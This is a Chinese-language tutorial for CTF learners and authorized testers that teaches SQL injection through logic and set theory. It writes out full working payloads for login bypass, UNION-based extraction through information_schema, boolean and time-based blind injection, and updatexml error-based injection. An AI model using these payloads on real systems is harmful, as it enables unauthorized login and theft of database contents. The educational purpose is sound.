教你用最简单的数学自底向上地高效学习SQL注入

本文只讲解技术原理与防御思路,所有示例均用于授权测试或CTF竞赛学习。未经授权对他人系统进行测试属于违法行为,请勿用于非法用途。

前言:你为什么背了100个Payload,还是不会写第101个?

网上90%的SQL注入教程,教的都是"药方":

  • 登录框就试 ' OR 1=1 --
  • 有回显就试 UNION SELECT 1,2,3
  • 没回显就试 AND SLEEP(5)

你照着敲,确实能出结果。但问题在于:换一个场景、换一个数据库、换一道CTF题,你又不确定该试什么了。

因为你在背单词 ,而不是懂语法

这篇文章要做的事,就是把SQL注入背后那套一以贯之的数学逻辑拆出来给你看。你会发现:

  • 所有注入手法,本质上干的是同一件事
  • 99%的Payload结构,都可以现场推导,不需要背
  • 遇到新场景时,你的思考流程会变成:"页面反馈什么 → 对应哪个数学模型 → 现场构造Payload"

这个思路,就是"自底向上"------先弄懂地基(数学逻辑),再去看地面上的建筑(各种注入手法)。地基稳了,上面怎么盖都跑不偏。


第一章:只学四句,就能覆盖90%的注入场景

先别管数据库、函数名、语法细节。我们只学四句逻辑骨架

这四句对应的数学思想分别是:

序号 逻辑骨架 数学本质 一句话人话
OR 永真 谓词逻辑------或运算短路 "要么满足条件,要么老子说的永远对"
AND 永假 谓词逻辑------且运算测谎 "我加一个假条件,页面变不变?"
UNION SELECT 集合论------并集运算 "把我的数据粘在你的数据屁股后面"
AND + SUBSTRING 逐字拆解 谓词逻辑 + 断言遍历 "猜一个字符,对了页面就正常"

第一句和第二句是逻辑基石,第四句是第二句的具体应用。后面你会看到它们如何串联。

这四句学透,你已经能覆盖联合注入、布尔盲注、报错注入、时间盲注 四大核心流派。剩下的只是不同数据库换函数名(比如SLEEP换成pg_sleep),逻辑不变。


第一句:OR 永真 ------ 逻辑短路,绕开身份验证

数学本质A OR True 恒等于 True。不管A是真是假,只要OR后面跟了一个永远为真的命题,整个表达式就被"短路"成真。

实战场景:登录框。

后台的查询逻辑通常是这样:

sql 复制代码
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'

如果查到了数据,就说明账号密码正确,允许登录。

现在,你在用户名框里输入:

ini 复制代码
admin' OR 1=1 --

后台拼接后变成:

sql 复制代码
SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = 'xxx'

-- 是SQL里的注释符号,它会把后面的AND password全部"掐掉"。所以真正执行的逻辑是:

sql 复制代码
SELECT * FROM users WHERE username = 'admin' OR 1=1

因为1=1永远为真,所以OR后面的条件恒成立。整个查询条件变成 ,数据库返回该表中的第一条用户数据(通常是管理员)。

于是,你不需要知道密码,就以管理员身份登录了。

关键洞察OR 1=1 不是用来"拿数据"的,它是用来断路的------它让前面的条件判断失效,强行让整个查询返回真。


第二句:AND 永假 ------ 逻辑测谎,探测漏洞是否存在

数学本质A AND False 恒等于 False。不管A是真是假,只要AND后面跟了一个永远为假的命题,整个表达式就被"拉"成假。

实战场景 :URL参数 ?id=1,页面显示一条商品详情。

我们先输入:

ini 复制代码
?id=1 AND 1=1

因为1=1为真,原条件id=1 AND 真 = 真,页面正常显示商品。

再输入:

ini 复制代码
?id=1 AND 1=2

因为1=2为假,原条件id=1 AND 假 = 假,页面变成空白或报错。

关键结论来了

  • 页面正常 = 我附加的条件为
  • 页面空白/报错 = 我附加的条件为

服务器变成了一台真值表显示器。你问它一个"是/否"问题,它用"正常/空白"来回答你。

这就是 "布尔盲注" 的起点------你还没有开始偷数据,但你已经有了一台测谎仪


第三句:UNION SELECT ------ 集合合并,把数据粘到页面上

这是有回显位 时的主力武器。它的数学本质是集合论里的并集运算:把两个结果集上下堆叠成一张大表。

但要用UNION,必须先满足一个硬规则:左右两侧的查询必须返回相同的列数。这是集合合并的基础要求。

推演:一步一步拿到数据

假设靶机地址是 http://ctf.target/product?id=1,正常页面显示商品名称和价格。

第1步:清空原始结果集

如果原查询返回了数据,UNION会把我们粘的数据排在它下面。为了让我们粘的数据独占页面顶部 ,先让原查询返回空集

ini 复制代码
?id=-1

数据库里没有id=-1的商品,所以原查询返回空集。接下来 空集 ∪ 你的数据 = 你的数据,完美。

第2步:数清楚有几列(用 ORDER BY 探测)

因为UNION要求左右列数相等,你首先得知道原查询返回了几列。

依次尝试:

ini 复制代码
?id=-1 ORDER BY 1   → 正常
?id=-1 ORDER BY 2   → 正常
?id=-1 ORDER BY 3   → 正常
?id=-1 ORDER BY 4   → 报错

ORDER BY按第几列排序,排到不存在的列就会报错。报错的那个数字减1,就是列数。

在这个例子里,报错发生在4,说明原查询返回 3列

第3步:占位,看哪些列能被页面显示

现在你知道有3列了,输入:

ini 复制代码
?id=-1 UNION SELECT 1,2,3

页面可能出现这样的情况:只显示了231没显示。

这说明:网页后端只取了结果集的第2列第3列渲染到页面上(第1列可能被用于内部逻辑,不展示)。

至此,你找到了两个"坑位"(第2列和第3列),可以在这些位置塞任何你想偷的数据。

进阶技巧:如果占位符不显示数字,只显示"裂图"怎么办?

把占位符从数字换成字符串,比如 'x'。如果页面上显示了字母x,说明这一列能承载文本数据,适合拿来偷密码;如果还是裂图,说明这一列只能存图片路径之类的数据,放弃它,换另一列试。

这个动作的数学含义是值域测试------先摸清这个"坑位"能装什么类型的数据,再决定怎么利用它。

第4步:查目录表,找到目标表和列

你现在知道第2列和第3列能显示内容,但你还不知道flag藏在哪里。

每个数据库都自带一张"目录表",记录着所有表名和列名:

  • information_schema.tables → 记录所有表名
  • information_schema.columns → 记录所有列名

先在显示位里查表名:

sql 复制代码
?id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables

页面上原本显示2的位置,开始滚动出大量表名。你很快发现了 flag_table

再查这张表有哪些列:

sql 复制代码
?id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='flag_table'

页面显示:flag_col

第5步:收割数据

sql 复制代码
?id=-1 UNION SELECT 1, flag_col, 3 FROM flag_table

第2列的位置赫然出现:flag{SQL_Math_Master}

特例:如果flag_table有几百行,页面只显示第一行怎么办?

flag_col换成group_concat(flag_col),这个函数会把多行数据粘成一个字符串,一次性全部显示出来。


第四句:AND + SUBSTRING 逐字拆解 ------ 布尔盲注的核心

现在回头看第二句(AND 永假),我们只用它来探测漏洞是否存在。但它真正的威力,是在你有了"测谎仪"之后------你开始用这台测谎仪,去猜数据库里的每一个字符

数学本质 :把要猜的字符拆出来,作为一个"断言"挂在AND后面。断言为真,页面正常;断言为假,页面空白。

推演:逐字爆破解密

假设你已经知道flag_table里有flag_col,但页面没有任何显示位,也没有报错信息。你只有"正常/空白"两种状态。

第1步:先确定目标数据的长度

ini 复制代码
?id=1 AND (SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=40

如果页面正常,说明长度为40;如果空白,继续试41、42......

这一步可以用二分查找优化:先试>30,再试>35,效率更高。

第2步:逐位猜字符

你已经知道长度是40了。现在猜第一个字符:

sql 复制代码
?id=1 AND (SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a'
  • 页面正常 → 第一个字符是a
  • 页面空白 → 换成'b'继续试

依次试'c''d'......直到试出正确的那个,然后猜第2位、第3位......直到拼出完整的flag{...}

优化技巧:逐字试26个字母太慢。可以用ASCII码配合二分查找:

问"ASCII码是否大于100"→ 正常/空白 → 缩小一半范围 → 再问"是否大于110"......

平均7次就能确定一个字符,比试26次快得多。


至此,你已经学完了四句核心骨架

回顾一下:

  1. OR 永真 → 登录绕过,逻辑短路
  2. AND 永假 → 漏洞探针 + 测谎仪
  3. UNION SELECT → 有回显时直接粘数据
  4. AND + SUBSTRING → 无回显时用测谎仪逐字猜

但这四句只覆盖了**"有回显""有真假状态"**两种情况。

如果页面既不显示数据,也不区分正常/空白,只抛出报错信息 呢?

如果页面什么都看不到,唯一能感知的是网络响应时间呢?

第二章:当页面沉默时------报错注入与时间盲注

上一章的四句骨架,依赖的是两种页面反馈:数据显示 (UNION)和真伪状态(AND测谎)。

但CTF里有一种更恶心的场景:页面既没有显示位,也不区分正常和空白------你输入什么都长一样,唯一能看到的是一行报错信息,或者什么都看不到只能靠计时。

这两种场景,数学上其实更简单。因为它们只是把"输出通道"换了个地方:一个走的是异常抛出通道 ,一个走的是时间延迟通道


报错注入:异常即通道

场景特征:页面没有任何显示位,也没有"正常/空白"的真假变化。但只要你输入非法语法,页面就会弹出一行MySQL报错信息。开发没有关闭报错提示。

数学本质 :把目标数据拼入一个必然会触发类型错误的函数参数中,让数据库在报错时把数据"夹带"在错误信息里吐出来。

目标 :通过报错信息拿到flag

推演开始

假设靶机地址 http://ctf.target/product?id=1,正常访问显示一个默认商品图。你输入任何AND 1=2页面都没有变化,但输入一个畸形语法会弹出报错。

第1步:确认报错函数可用

先用一个纯测试性的报错函数------updatexml(),它用于修改XML文档的路径。

ini 复制代码
?id=1 AND updatexml(1, 0x7e, 1)

0x7e是波浪号~的十六进制表示,它不是合法的XPath路径。如果页面报错信息里出现了~,说明数据库确实执行了我们的函数,并且报错信息能携带我们塞进去的内容。

页面反应:

go 复制代码
XPATH syntax error: '~'

确认:报错函数可用,报错信息能携带数据。

第2步:爆库名

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, database()), 1)

database()返回当前数据库名(比如ctf_db),concat把它和波浪号粘成~ctf_db,塞进updatexml的第二个参数。

页面反应:

go 复制代码
XPATH syntax error: '~ctf_db'

库名到手。

第3步:爆表名(逐行提取)

报错注入有一个硬伤:一次只能"震"出一行数据。如果information_schema.tables里有100张表,直接查会报错截断。所以需要用LIMIT逐条取。

先取第一张表:

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 0, 1)), 1)

页面显示~users。再取第二张:

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1, 1)), 1)

页面显示~products。继续往后取,直到发现flag_table

第4步:爆列名

找到flag_table后,查它的列名:

sql 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0, 1)), 1)

震出flag_col

第5步:爆数据

ini 复制代码
?id=1 AND updatexml(1, concat(0x7e, (SELECT flag_col FROM flag_table LIMIT 0, 1)), 1)

页面显示:

go 复制代码
XPATH syntax error: '~flag{SQL_Math_Master}'

数据到手。

报错注入的关键洞察

  • 你不需要显示位,不需要真伪状态
  • 你只需要一个能把数据塞进报错信息里的函数
  • updatexmlextractvalue是MySQL中最常用的两个报错函数
  • 不同数据库有不同函数(比如PostgreSQL用cast()触发类型转换报错),但数学逻辑完全一致:把目标数据映射到异常信息中

时间盲注:时域即信号

场景特征 :页面绝对静止------无显示位、无报错信息、无真伪变化。所有请求返回的HTTP状态码和页面内容完全一样。唯一能感知的差异,是浏览器右下角的加载转圈时间

数学本质 :把要判断的"布尔命题"作为IF语句的条件,条件为真就执行延迟函数(比如睡5秒),条件为假就立即返回。用响应时间的差值来反推数据的每一位。

目标 :用"秒表"把flag一位一位量出来。

推演开始

第1步:确认延迟函数可用

先测SLEEP()基元是否被允许执行。

输入:

ini 复制代码
?id=1 AND IF(1=1, SLEEP(5), 0)

浏览器转了整整5秒才加载完。

再输入:

ini 复制代码
?id=1 AND IF(1=2, SLEEP(5), 0)

浏览器瞬间加载完。

确认:IF(条件, 真时执行, 假时执行)工作正常。条件为真就睡5秒,条件为假就跳过。我们有了一个逻辑秒表

第2步:确定数据长度

你猜flag可能是flag{...}格式,长度大约40左右。但要精确。

依次试:

scss 复制代码
?id=1 AND IF((SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=30, SLEEP(5), 0)

等了5秒 → 长度为30?不对,是30确实匹配了。继续试31、32......直到试到40时卡了5秒。

确认长度为40。

第3步:逐位猜字符

现在猜第一个字符。把flag_col的第一位拆出来,和字母表(a-z, 0-9, {, })逐一比对。

scss 复制代码
?id=1 AND IF((SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)

瞬间加载完 → 不是'a'。试'b'、'c'......试到'f'时,卡了5秒。

第一位是'f'。

再猜第二位:

scss 复制代码
?id=1 AND IF((SELECT SUBSTRING(flag_col, 2, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)

依次试,直到拼出完整的flag{...}

优化技巧:二分查找

逐字试26个字母太慢。用ASCII码做二分查找,7次就能定位一个字符。

先问:

scss 复制代码
?id=1 AND IF((SELECT ASCII(SUBSTRING(flag_col, 1, 1)) FROM flag_table LIMIT 1)>100, SLEEP(5), 0)

如果卡5秒 → ASCII码大于100。再问>110,再问>115......每次缩小一半范围。7次之后精确锁定字符的ASCII码值。

40个字符 × 7次 = 280次请求,远快于40 × 26 = 1040次。

时间盲注的关键洞察

  • 你不需要任何可见反馈
  • 你需要的是一个能将布尔值映射为时间差的函数组合IF + SLEEP
  • 不同数据库的延迟函数不同(MySQL是SLEEP,PostgreSQL是pg_sleep,SQLite没有内置延迟函数但可以用复杂计算替代)
  • 数学本质不变:布尔命题 → 时间差映射

第三章:四类通道的统一框架

现在你学完了四句骨架 + 两个延伸流派。把它们放在一起看,就清晰了。

所有注入手法在做同一件事

寻找"输出侧信道"

数据库执行了你的查询,得出了结果。但结果不会主动告诉你------你需要找到一个你能观测到的物理通道,让数据库把结果"吐"到这个通道上。

通道类型 观测方式 代表手法 数学本质
结果集通道 页面显示数据 UNION SELECT 集合并集投影
真值通道 页面正常/空白 AND 1=1 / 1=2 谓词真值表
异常通道 报错信息内容 updatexml报错 类型系统冲突
时间通道 响应耗时 IF + SLEEP 条件延迟执行

攻击决策流程

当你面对一个输入点时,按这个流程走,不需要背任何Payload:

ini 复制代码
输入点 → 测注入点(单引号) → 确认执行环境(1=1/1=2)
→ 选输出通道:
   有显示位? → UNION(结果集通道)
   有报错信息? → updatexml(异常通道)
   有真伪状态? → AND + SUBSTRING(真值通道)
   只有时间能感知? → IF + SLEEP(时间通道)
→ 构造Payload → 提取数据

三个终极问题

面对任意注入场景,你只需要问自己三个问题:

  1. 当前页面能给我什么反馈?

    显示位?报错信息?真伪状态?还是只有响应时间?

  2. 我该如何把查询结果"塞"进这个反馈通道里?

    比如显示位就用UNION粘,报错通道就用concat拼进报错函数,时间通道就用IF挂载延迟函数。

  3. 这个通道能承载多大的数据量?

    一次显示一整行?一次只能一个字符?一次最多显示一行的前N个字符?根据这个决定用LIMIT逐条取,还是用group_concat合并,还是用SUBSTRING逐字拆。


写在最后

当你掌握了这套数学框架,面对任意输入点时,你的思维流程会变成:

页面反馈类型 → 选取对应数学模型 → 现场推导Payload结构

这个过程叫创造 ,而不是背诵

你不需要记住updatexml的第二个参数是什么类型,不需要记住extractvalue的语法细节,不需要背information_schema里有哪些表。你只需要知道:

  • 我需要一个能触发报错的函数
  • 我需要一个能记录所有表名的系统表
  • 我需要把目标数据拼接成参数塞进去

然后去查文档、翻笔记、现场试。这比背100个Payload有效得多。

因为Payload会变,数据库会变,WAF规则会变。但集合论不会变,谓词逻辑不会变,映射关系不会变

这就是"自底向上"的力量。


免责声明

本文所有技术内容仅供网络安全爱好者学习CTF竞赛、进行授权系统测试使用。未经授权对任何生产系统、第三方网站或个人账户进行渗透测试属于违法行为。作者及本文发布平台不承担因读者违规操作所产生的任何法律责任。请遵守《中华人民共和国网络安全法》及相关法律法规,在合法合规的前提下学习技术知识。


全文完。

相关推荐
她的男孩6 小时前
多租户和数据权限怎么共存?扒完拦截器注册链路,我找到 4 个隐蔽的坑
java·后端·架构
用户8356290780516 小时前
使用 Python 设置 Excel 页眉和页脚
后端·python
步行cgn7 小时前
IoC 控制反转:从概念到 Spring 的实现
后端
爱勇宝7 小时前
没有 Fn 键关触控板?我做了一个双击即用的 Windows 小工具
前端·后端·程序员
沙湖遇雨7 小时前
8.ByteBuf 的数据模型、生命周期和内存分配
后端
by组态7 小时前
Ricon组态系统API参考手册
前端·后端·物联网
再吃一根胡萝卜8 小时前
Agent 如何选择与生成 SQL —— Text2SQL 全链路详解
后端
苍何8 小时前
把操作流程直接录成 Skill,豆包太夯了!
后端